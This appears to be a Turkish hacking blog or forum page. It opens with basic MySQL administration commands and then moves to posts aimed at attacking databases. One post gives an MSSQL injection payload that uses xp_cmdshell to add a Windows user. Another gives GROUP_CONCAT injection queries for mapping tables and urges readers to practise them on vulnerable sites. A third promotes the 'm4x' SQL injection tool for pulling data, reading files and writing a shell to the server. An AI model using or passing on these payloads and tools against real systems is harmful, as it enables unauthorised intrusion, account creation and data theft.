Mysql Komutları

SQL Server üzerinde bir veritabanı oluşturun
mysql> create database [databasename];

SQL Server üzerinde tüm veritabanlarının listesi
mysql> show databases;

Veritabanı tüm tabloları görebilirsiniz
mysql> show tables;

Bir veritabanını silmek için
mysql> drop database [database name];

Bir tablo silmek için
mysql> drop table [table name];

Bir tablodaki tüm verileri gösterir
mysql> SELECT * FROM [table name];

Sum column.
mysql> SELECT SUM(*) FROM [table name];

Yeni bir kullanıcı oluşturma. Login root olarak. MySQL db geçin. Kullanıcı olun. Güncelleme privs.

# mysql -u root -p
mysql> use mysql;

mysql> INSERT INTO user (Host,User,Password) VALUES('%','username',PASSWORD('password'));
mysql> flush privileges;


UNIX shellde bir kullanıcı şifresini değiştirin.

# [mysql dir]/bin/mysqladmin -u username -h hostname.blah.org -p password 'new-password'

Root şifresini güncelleyin

# mysqladmin -u root -p oldpassword newpassword

Bir kolon silin

mysql> alter table [table name] drop column [column name];

Veritabanına yeni bir kolon ekleyin

mysql> alter table [table name] add column [new column name] varchar (20);

Kolon adını değiştirin

mysql> alter table [table name] change [old column name] [new column name] varchar (50);

Komutlara kaldığım yerden devam edicem......

Devamını okumak için tıklayın

Tepkiler:

MsSQL Injection ~ CmdShell Çalıştırma

MsSQL Injection yaparken uzaktan cmdshell çalıştırabiliyoruz.Şu komut ile cmdshelli çalıştırabilmekteyiz. ;exec master..xp_cmdshell ’’-- ’’ bıraktıgım yer size kalan komutların kullanacagınız yer. mesela en basitinden ’’ şu kısımın arasına bizim o meşhur MS SQL password ve user oluşturma komutumuzu kullanabiliriz. ’net user /add Thelinux Thelinux7’ Tamamlayacak olursak ;exec master..xp_cmdshell ’net user / add Thelinux Thelinux7’--

Tepkiler:

GROUP_CONCAT MySQL SQL Injection

Yeni Mysql Injection teknigi . Pratik için deneme yapabilirsiniz arkadaslar mesela Sql açigi olan bir siteye bu kodu uygulayarak baslayabilirsiniz ; SELECT CONCAT(TABLO_ADI,’>’,GROUP_CONCAT(KOLON_ADI)) FROM information_schema.columns …

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

Tepkiler:

m4x sql injection tools download

Download m4x Sql Injection Tools







m4x mysql injector demonstration (Nasıl kullanılır video)

m4x mssql injector demonstration (Nasıl kullanılır video)




Standart methodların aksine farklı bir yöntem kullanıldığı için m4x mysql injector benzer uygulamaların aksine çok daha hızlı çalışmaktadır.
Kullanıcı seçimine bağlı olarak proxy özelliği vardır.
Veriler aynı Database management sistemleri veya scriptlerinde olduğu gibi birebir çekilmektedir.
Treeview kontrolü kullanıldığı için listeleme işlemlerinizi oldukça kolay yapabilirsiniz.
Veriler listelenirken istenilirse limit belirtilir o limit kadar veri çekilir.
Verileri ister sondan(desc) ister baştan (asc) olarak çekebilirsiniz.
Verileri çekerken progressbar sayesinde işlemin ne kadar kaldığını görebilirsiniz.
Çektiğiniz verileri excele aktararak kolaylıkla yönetebilirsiniz.

Daha önce listelediğiniz db yapısını kaydederek, daha sonraki kullanımlarda tekrar tekrar aynı işlemleri yapmanıza gerek kalmadan yükleyebilirsiniz.
m4x mysql ile db kullanıcısı dosya izinlerine sahip ise , load_file, into outfile ve into dumpfile fonksiyonlarını çalıştırabilirsiniz. Load file ile istediğiniz dosyayı okuyup, into out file ile de istediğiniz dizine shell'inizi yazdırabilirsiniz.
Magic Quotes Gpc ' den etkilenmez. On veya off farketmez.





For English explaination click below link

m4x mysql injector more faster than similar programs because it uses different methods
It has proxy selection according to user choice.
Datas getting one to one like the other database management systems or scripts.
You can make your listing process faster because it's include Treeview control
It's include data limit.It's mean you can get data with what you decide about that
You can get datas from end(desc) or from start(asc)
You can see how much time left to end process with progressbar.
You can export your datas to Microsoft Excel
If you want do your half work later you can do it easyly with saving your database
If the m4x mysql injector have database user's permissions, you can execute load_file, into outfile and into dumpfile functions.You can read file which do you want with load file
and you can write your shell to directory which do you want with into out
It doesn't affect with Magic Quotes Gpc.It doesn't matter on or off

m4x mysql injector demonstration (How to use video)

m4x mssql injector demonstration (How to use video)





H4ckinger AND Rmx İkinizinde elinize sağlık teşekkürler.

Devamını okumak için tıklayın

Tepkiler: